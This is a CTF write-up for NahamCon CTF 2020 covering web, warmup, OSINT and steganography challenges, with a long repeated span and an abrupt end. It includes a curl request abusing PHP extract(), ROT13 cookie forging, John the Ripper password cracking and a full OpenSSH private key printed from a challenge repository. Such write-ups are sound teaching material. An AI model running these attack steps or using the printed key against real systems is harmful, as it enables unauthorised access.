<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:

burp suite catches the request and allows us to edit it:

we now only need to add an emergency variable and we get the flag:


with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:

**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
